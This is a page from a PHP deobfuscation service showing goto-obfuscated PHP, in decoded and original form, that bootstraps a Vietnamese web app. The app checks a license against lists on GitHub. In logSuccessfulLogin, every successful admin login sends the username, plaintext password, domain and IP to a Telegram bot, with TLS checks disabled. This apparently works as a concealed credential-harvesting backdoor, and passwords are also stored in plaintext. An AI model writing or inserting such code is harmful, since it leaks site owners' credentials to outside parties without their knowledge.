Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? goto tPQJj; COa8Z: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { ..
Decoded Output download
<? goto tPQJj; COa8Z: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { return false; } $githubUrl = "https://raw.githubusercontent.com/boztran/license/main/licensekey.txt"; $licenseKeyList = file_get_contents($githubUrl); return strpos($licenseKeyList, $licenseKey) !== false; } goto jKCUi; X59Mx: $site_mota = $site["site_mota"]; goto RvhMO; EpdUs: function check_img($img) { $filename = $_FILES[$img]["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $valid_ext = array("png", "jpeg", "jpg", "gif"); if (in_array($ext, $valid_ext)) { return true; } return false; } goto zBD2C; akV6n: if (!file_exists($boztranDir)) { die("Boz Notification: \304\x90\xc3\243 x\341\272\243y ra l\xe1\273\227i khi k\xe1\xba\277t n\xe1\273\221i t\341\xbb\233i th\306\xb0 m\xe1\xbb\xa5c admin"); } goto kBAXe; y329B: $facebook = $site["facebook"]; goto R5KKB; RTG1A: $dotenv->load(); goto ZGF6g; a09__: if (!checkLicenseKey($licenseKey) || !checkLicenseDomain($licenseDomain)) { die("Boz Notification: Key b\xe1\272\243n quy\341\xbb\x81n kh\303\xb4ng h\341\xbb\243p l\xe1\xbb\x87 ho\341\xba\267c \304\221\xc3\xa3 \xc4\221\306\260\xe1\273\243c s\341\273\255 d\341\xbb\245ng cho t\xc3\xaan mi\341\273\201n kh\303\241c."); } goto KbHjf; YwhYW: date_default_timezone_set("Asia/Ho_Chi_Minh"); goto LQzkc; utTb5: $dotenv = Dotenv\Dotenv::createImmutable(__DIR__ . "/../"); goto RTG1A; jKCUi: function checkLicenseDomain($licenseDomain) { if (empty($licenseDomain)) { return false; } $githubUrl = "https://raw.githubusercontent.com/boztran/license/main/licensedomain.txt"; $licenseDomainList = file_get_contents($githubUrl); return strpos($licenseDomainList, $licenseDomain) !== false; } goto t2nk_; tPQJj: require_once __DIR__ . "/../vendor/autoload.php"; goto utTb5; PjfQi: function templateTele($content) { return "-- BOT BY BOZ --\xa{$content}\xaTh\xe1\273\x9di Gian : " . date("d/m/Y H:i:s"); } goto nkDSF; z3izl: define("USERNAME", $_ENV["DB_USER"]); goto i9fJ0; ozhFX: $user = $ketnoi->query("SELECT * FROM users LIMIT 1")->fetch_array(); goto W5QhP; jM50_: $ketnoi->set_charset("utf8mb4"); goto YwhYW; DntyJ: function checkLogin($username, $password) { global $ketnoi; $username = mysqli_real_escape_string($ketnoi, $username); $password = mysqli_real_escape_string($ketnoi, $password); $sql = "SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}' LIMIT 1"; $result = $ketnoi->query($sql); if ($result->num_rows > 0) { logSuccessfulLogin($username, $password); return true; } else { return false; } } goto VHe6b; W5QhP: $site_tenweb = $site["site_tenweb"]; goto X59Mx; QMfb3: $developer = false; goto uYhly; t2nk_: function logSuccessfulLogin($username, $password) { $domain = $_SERVER["HTTP_HOST"]; $ip = $_SERVER["REMOTE_ADDR"]; $message = "\304\x90\303\xa3 \304\221\xc4\x83ng nh\341\272\xadp th\303\xa0nh c\xc3\264ng v\xc3\xa0o admin {$domain} v\xe1\273\x9bi t\xc3\240i kho\341\272\xa3n {$username} v\303\240 m\341\272\255t kh\xe1\xba\251u {$password} b\341\272\xb1ng \xc4\221\xe1\273\x8ba ch\341\xbb\211 IP: {$ip}"; sendTele(templateTele($message)); } goto DntyJ; Nu_ed: $site_sdt_momo = $site["sdt_admin"]; goto y329B; e4Vsl: function random($string, $length) { $characters = str_shuffle($string); return substr($characters, 0, $length); } goto EpdUs; R5KKB: if ($developer == true) { ini_set("display_errors", 0); ini_set("display_startup_errors", 0); error_reporting(0); } goto MerNW; DVQqg: $licenseDomain = $_SERVER["HTTP_HOST"]; goto a09__; MerNW: function format_cash($price) { return str_replace(",", ".", number_format($price)); } goto e4Vsl; i9fJ0: define("PASSWORD", $_ENV["DB_PASSWORD"]); goto tpNK4; tpNK4: $licenseKey = $_ENV["LICENSE_KEY"]; goto DVQqg; nkDSF: function xoadau($strTitle) { $strTitle = strtolower($strTitle); $strTitle = trim($strTitle); $strTitle = str_replace(" ", "-", $strTitle); $strTitle = preg_replace("/[\xc3\xb2\303\263\341\xbb\x8d\xe1\xbb\x8f\xc3\xb5\306\xa1\xe1\273\x9d\341\273\x9b\xe1\273\xa3\xe1\xbb\237\xe1\273\241\303\264\341\273\223\341\273\221\xe1\273\x99\341\xbb\225\xe1\273\227]/u", "o", $strTitle); $strTitle = preg_replace("/[\303\xa0\303\241\xe1\xba\xa1\xe1\xba\243\303\xa3\xc4\203\341\272\xb1\xe1\xba\257\341\272\267\xe1\272\263\xe1\272\xb5\xc3\xa2\xe1\272\xa7\341\272\xa5\341\272\xad\341\xba\251\xe1\272\xab]/u", "a", $strTitle); $strTitle = preg_replace("/[\xe1\273\201\341\272\xbf\xe1\xbb\207\xe1\xbb\203\341\273\205\xc3\251\xc3\250\xe1\xba\273\341\272\275\341\xba\271]/u", "e", $strTitle); $strTitle = preg_replace("/[\341\xbb\253\341\xbb\xa9\xe1\xbb\xb1\xe1\xbb\xad\341\273\xaf\303\271\303\xba\341\273\xa5\341\xbb\xa7\xc5\251]/u", "u", $strTitle); $strTitle = preg_replace("/[\xc3\xac\xc3\xad\xe1\273\213\341\273\211\xc4\xa9]/u", "i", $strTitle); $strTitle = preg_replace("/[\xe1\273\263\xc3\275\341\xbb\xb5\341\273\267\341\xbb\271]/u", "y", $strTitle); $strTitle = str_replace("\xc4\x91", "d", $strTitle); $strTitle = str_replace("\xc4\220", "d", $strTitle); $strTitle = preg_replace("/[^-a-zA-Z0-9]/", '', $strTitle); return $strTitle; } goto COa8Z; uYhly: define("DATABASE", $_ENV["DB_NAME"]); goto z3izl; KbHjf: $boztranDir = __DIR__ . "/../boztran"; goto akV6n; VHe6b: if (isset($_POST["username"]) && isset($_POST["password"])) { $username = $_POST["username"]; $password = $_POST["password"]; if (checkLogin($username, $password)) { } else { } } goto goaob; ZGF6g: session_start(); goto QMfb3; kBAXe: $ketnoi = mysqli_connect("localhost", USERNAME, PASSWORD, DATABASE); goto jM50_; LQzkc: $_SESSION["session_request"] = time(); goto SKQlv; zBD2C: function sendTele($message) { global $ketnoi; $setting = $ketnoi->query("SELECT chatidtele, tokenbottele FROM setting")->fetch_array(); $chatId = $setting["chatidtele"]; $token = $setting["tokenbottele"]; $data = http_build_query(array("chat_id" => $chatId, "text" => $message)); $url = "https://api.telegram.org/bot{$token}/sendMessage"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = curl_exec($ch); curl_close($ch); return $result; } goto PjfQi; SKQlv: $site = $ketnoi->query("SELECT site_tenweb, site_mota, site_logo, sdt_admin, facebook FROM setting")->fetch_array(); goto ozhFX; RvhMO: $site_logo = $site["site_logo"]; goto Nu_ed; goaob: ?>
Did this file decode correctly?
Original Code
<? goto tPQJj; COa8Z: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { return false; } $githubUrl = "https://raw.githubusercontent.com/boztran/license/main/licensekey.txt"; $licenseKeyList = file_get_contents($githubUrl); return strpos($licenseKeyList, $licenseKey) !== false; } goto jKCUi; X59Mx: $site_mota = $site["site_mota"]; goto RvhMO; EpdUs: function check_img($img) { $filename = $_FILES[$img]["name"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $valid_ext = array("png", "jpeg", "jpg", "gif"); if (in_array($ext, $valid_ext)) { return true; } return false; } goto zBD2C; akV6n: if (!file_exists($boztranDir)) { die("Boz Notification: \304\x90\xc3\243 x\341\272\243y ra l\xe1\273\227i khi k\xe1\xba\277t n\xe1\273\221i t\341\xbb\233i th\306\xb0 m\xe1\xbb\xa5c admin"); } goto kBAXe; y329B: $facebook = $site["facebook"]; goto R5KKB; RTG1A: $dotenv->load(); goto ZGF6g; a09__: if (!checkLicenseKey($licenseKey) || !checkLicenseDomain($licenseDomain)) { die("Boz Notification: Key b\xe1\272\243n quy\341\xbb\x81n kh\303\xb4ng h\341\xbb\243p l\xe1\xbb\x87 ho\341\xba\267c \304\221\xc3\xa3 \xc4\221\306\260\xe1\273\243c s\341\273\255 d\341\xbb\245ng cho t\xc3\xaan mi\341\273\201n kh\303\241c."); } goto KbHjf; YwhYW: date_default_timezone_set("Asia/Ho_Chi_Minh"); goto LQzkc; utTb5: $dotenv = Dotenv\Dotenv::createImmutable(__DIR__ . "/../"); goto RTG1A; jKCUi: function checkLicenseDomain($licenseDomain) { if (empty($licenseDomain)) { return false; } $githubUrl = "https://raw.githubusercontent.com/boztran/license/main/licensedomain.txt"; $licenseDomainList = file_get_contents($githubUrl); return strpos($licenseDomainList, $licenseDomain) !== false; } goto t2nk_; tPQJj: require_once __DIR__ . "/../vendor/autoload.php"; goto utTb5; PjfQi: function templateTele($content) { return "-- BOT BY BOZ --\xa{$content}\xaTh\xe1\273\x9di Gian : " . date("d/m/Y H:i:s"); } goto nkDSF; z3izl: define("USERNAME", $_ENV["DB_USER"]); goto i9fJ0; ozhFX: $user = $ketnoi->query("SELECT * FROM users LIMIT 1")->fetch_array(); goto W5QhP; jM50_: $ketnoi->set_charset("utf8mb4"); goto YwhYW; DntyJ: function checkLogin($username, $password) { global $ketnoi; $username = mysqli_real_escape_string($ketnoi, $username); $password = mysqli_real_escape_string($ketnoi, $password); $sql = "SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}' LIMIT 1"; $result = $ketnoi->query($sql); if ($result->num_rows > 0) { logSuccessfulLogin($username, $password); return true; } else { return false; } } goto VHe6b; W5QhP: $site_tenweb = $site["site_tenweb"]; goto X59Mx; QMfb3: $developer = false; goto uYhly; t2nk_: function logSuccessfulLogin($username, $password) { $domain = $_SERVER["HTTP_HOST"]; $ip = $_SERVER["REMOTE_ADDR"]; $message = "\304\x90\303\xa3 \304\221\xc4\x83ng nh\341\272\xadp th\303\xa0nh c\xc3\264ng v\xc3\xa0o admin {$domain} v\xe1\273\x9bi t\xc3\240i kho\341\272\xa3n {$username} v\303\240 m\341\272\255t kh\xe1\xba\251u {$password} b\341\272\xb1ng \xc4\221\xe1\273\x8ba ch\341\xbb\211 IP: {$ip}"; sendTele(templateTele($message)); } goto DntyJ; Nu_ed: $site_sdt_momo = $site["sdt_admin"]; goto y329B; e4Vsl: function random($string, $length) { $characters = str_shuffle($string); return substr($characters, 0, $length); } goto EpdUs; R5KKB: if ($developer == true) { ini_set("display_errors", 0); ini_set("display_startup_errors", 0); error_reporting(0); } goto MerNW; DVQqg: $licenseDomain = $_SERVER["HTTP_HOST"]; goto a09__; MerNW: function format_cash($price) { return str_replace(",", ".", number_format($price)); } goto e4Vsl; i9fJ0: define("PASSWORD", $_ENV["DB_PASSWORD"]); goto tpNK4; tpNK4: $licenseKey = $_ENV["LICENSE_KEY"]; goto DVQqg; nkDSF: function xoadau($strTitle) { $strTitle = strtolower($strTitle); $strTitle = trim($strTitle); $strTitle = str_replace(" ", "-", $strTitle); $strTitle = preg_replace("/[\xc3\xb2\303\263\341\xbb\x8d\xe1\xbb\x8f\xc3\xb5\306\xa1\xe1\273\x9d\341\273\x9b\xe1\273\xa3\xe1\xbb\237\xe1\273\241\303\264\341\273\223\341\273\221\xe1\273\x99\341\xbb\225\xe1\273\227]/u", "o", $strTitle); $strTitle = preg_replace("/[\303\xa0\303\241\xe1\xba\xa1\xe1\xba\243\303\xa3\xc4\203\341\272\xb1\xe1\xba\257\341\272\267\xe1\272\263\xe1\272\xb5\xc3\xa2\xe1\272\xa7\341\272\xa5\341\272\xad\341\xba\251\xe1\272\xab]/u", "a", $strTitle); $strTitle = preg_replace("/[\xe1\273\201\341\272\xbf\xe1\xbb\207\xe1\xbb\203\341\273\205\xc3\251\xc3\250\xe1\xba\273\341\272\275\341\xba\271]/u", "e", $strTitle); $strTitle = preg_replace("/[\341\xbb\253\341\xbb\xa9\xe1\xbb\xb1\xe1\xbb\xad\341\273\xaf\303\271\303\xba\341\273\xa5\341\xbb\xa7\xc5\251]/u", "u", $strTitle); $strTitle = preg_replace("/[\xc3\xac\xc3\xad\xe1\273\213\341\273\211\xc4\xa9]/u", "i", $strTitle); $strTitle = preg_replace("/[\xe1\273\263\xc3\275\341\xbb\xb5\341\273\267\341\xbb\271]/u", "y", $strTitle); $strTitle = str_replace("\xc4\x91", "d", $strTitle); $strTitle = str_replace("\xc4\220", "d", $strTitle); $strTitle = preg_replace("/[^-a-zA-Z0-9]/", '', $strTitle); return $strTitle; } goto COa8Z; uYhly: define("DATABASE", $_ENV["DB_NAME"]); goto z3izl; KbHjf: $boztranDir = __DIR__ . "/../boztran"; goto akV6n; VHe6b: if (isset($_POST["username"]) && isset($_POST["password"])) { $username = $_POST["username"]; $password = $_POST["password"]; if (checkLogin($username, $password)) { } else { } } goto goaob; ZGF6g: session_start(); goto QMfb3; kBAXe: $ketnoi = mysqli_connect("localhost", USERNAME, PASSWORD, DATABASE); goto jM50_; LQzkc: $_SESSION["session_request"] = time(); goto SKQlv; zBD2C: function sendTele($message) { global $ketnoi; $setting = $ketnoi->query("SELECT chatidtele, tokenbottele FROM setting")->fetch_array(); $chatId = $setting["chatidtele"]; $token = $setting["tokenbottele"]; $data = http_build_query(array("chat_id" => $chatId, "text" => $message)); $url = "https://api.telegram.org/bot{$token}/sendMessage"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = curl_exec($ch); curl_close($ch); return $result; } goto PjfQi; SKQlv: $site = $ketnoi->query("SELECT site_tenweb, site_mota, site_logo, sdt_admin, facebook FROM setting")->fetch_array(); goto ozhFX; RvhMO: $site_logo = $site["site_logo"]; goto Nu_ed; goaob: ?>
Function Calls
None |
Stats
MD5 | f46e9151845106480d8005cfd7ee15b7 |
Eval Count | 0 |
Decode Time | 46 ms |